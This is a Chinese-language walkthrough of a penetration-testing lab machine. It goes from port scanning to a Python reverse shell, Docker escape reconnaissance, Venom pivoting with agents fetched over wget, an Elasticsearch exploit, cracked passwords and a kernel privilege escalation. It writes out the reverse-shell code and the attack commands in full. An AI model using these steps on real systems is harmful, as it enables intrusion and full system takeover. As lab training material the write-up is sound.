Proxychains
安装
sudo apt install proxychains
配置
sudo vim /etc/proxychains.conf
(要用sudo进入root模式否之保存不了) 在这个配置文件最下面有[ProxyList]这么一行,在这行下面添加上socks5 127.0.0.1 1080 按 i 进入编辑,保存退出按esc,再同时敲下shift和; ,再输入wq,回车即可。

靶机渗透思路
靶机地址超链接

端口扫描
主机发现192.168.132.149
arp-scan 192.168.132.0/24
nmap -A -sV -p- -T4 192.168.132.149

开放22、5000端口并开启HTTP服务,访问页面加上端口
页面没发现扫描 进行隐藏目录fuzz
dirsearch -u http://192.168.132.149:5000
发现后台地址
反弹shell
进入页面发现是一处管理员代码执行页面
之前扫描的时候探测到该框架是python写的
想到用python反射shell
网上找到一段python反弹shell代码,修改ip和端口即可
在kali监听4444端口
import socket,os,subprocess
RHOST='192.168.132.139'
RPORT=4444
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((RHOST,RPORT))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
反弹shell成功!!!
但是这可能这么简单吗?不可能
经过发现这是一个docker容器
ls /.dockerenv
cat /proc/1/cgroup

内网信息收集
虽然它是个docker,但是它是有用的!!
毕竟docker在内网里面呀,我们可以通过docker所在IP进行内网信息收集
ip a
for i in $(seq 1 254);do ping -c 1 172.17.0.$i;done

扫描出来,发现在c段存活IP有1,2,3
因为我们需要对这些内网的主机进行一些操作,所以我们需要使用venom这个工具进行内网穿透,也就是打通kali到内网机器的路由,才能使用kali对这些内网机器进行相关操作.
下载后我们在kali上启动服务端
./admin_linux_x64 -lport 9999
然后在kali的venmen下使用python开启临时HTTP服务
python3 -m http.server 80
在客户端通过wget命令下载到本地
wget http://192.168.132.139/agent_linux_x64
chmod +x agent_linux_x64
./agent_linux_x64 -rhost 192.168.132.139 -rport 9999

然后我们在kali服务端成功获取到一个会话,进入该会话,并开启一个socks代理
show
goto 1
socks 1080

在proxychains的配置文件修改
修改成功后使用proxychains进行内网扫描IP
内网穿透
proxychains nmap -sV -sT 172.17.0.1

搜索发现这个结果和前面的docker好像,打开web页面看看
一模一样!!!!!

继续扫描第二个、第三个


漏洞利用
扫描发现一个新框架Elasticsearch
漏洞利用,下载36337漏洞执行脚本
searchsploit Elasticsearch
searchsploit -m 36337.py
cat 36337.py

查看该脚本是python2运行
所以我们运行看一下
proxychains python2 36337.py 172.17.0.3
id查看当前权限,居然又是root!!!!
难道我们又中大奖了?当然不是
ls查看当前目录下有什么东西,居然有一个password文件!!!

查看一下passwords文件
找地方解密一下
john:1337hack
test:1234test
admin:1111pass
…
cat passwords

一个一个试一下吧,john可以进入

内核提权
内核提权进行时
uname -a

去搜索相关内核漏洞,并下载到本地
查看脚本使用
searchsploit linux 3.13.0
searchsploit -m 37292.c
cat 37292.c
因为服务端没有gcc编译器,所以我们需要在本地编译成功后再上传服务端
所以我们简单审查一下代码,删除代码中gcc部分
本机gcc编译37292.c输出为exp
locate定位.so的位置
复制到本地位置
gcc -o exp 37292.c
locate ofs-lib.so
cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so .
kali开启临时HTTP服务
python -m http.server 80
在john下载编译后的exp和so
wget http://192.168.132.139/exp
wget http://192.168.132.139/ofs-lib.so
ls
mv * /tmp/
cd /tmp/
chmod +x exp
./exp

总结
首先是nmap扫描了靶机开放的端口和服务,然后通过隐藏目录FUZZ发现了一个python代码测试的页面,于是执行python脚本反弹shell,获取到shell后发现是root权限但是不幸的是,这是一个docker容器环境。 通过查看当前容器的ip,并编写了一个简单的shell脚本通过ping命令进行主机发现,然后通过配置proxychains、使用venom进行内网穿透,从而可以通过挂proxychains 来使用kali上的各种工具对目标内网机器进行操作,nmap扫描发现172.17.0.3的9200端口的Elasticsearch服务,通过利用这个存在漏洞的低版本eElasticsearch,成功获取到了root权限,然后在根目录下发现了一个密码文件,md5解密后尝试挨个进行ssh登录,成功登录john用户,发现该用户是普通用户,登录成功后我们看到该服务器是一个3.13的低版本内核,尝试搜索该内核版本的提权漏洞,发现了漏洞利用脚本,但是遇到问题靶机不能运行gcc命令,于是尝试阅读并修改了提权脚本,最终提权成功,获取到了root权限。
|